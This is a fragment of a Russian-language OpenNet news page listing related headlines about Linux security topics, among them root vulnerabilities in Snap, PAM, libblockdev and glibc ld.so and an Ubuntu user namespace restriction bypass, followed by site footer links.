  1. OpenNews: AppArmor и Yama будут включены в Linux-ядро 2.6.36
  2. OpenNews: Root-уязвимость в инструментарии управления пакетами Snap
  3. OpenNews: Уязвимости в PAM и libblockdev, позволяющие получить права root в системе
  4. OpenNews: Уязвимость в Glibc ld.so, позволяющая получить права root в большинстве дистрибутивов Linux
  5. OpenNews: Выявлена возможность обхода ограничений доступа к "user namespace" в Ubuntu
Обсуждение (112 +27) | Тип: Проблемы безопасности |
Следующая страница (раньше) >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2026 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру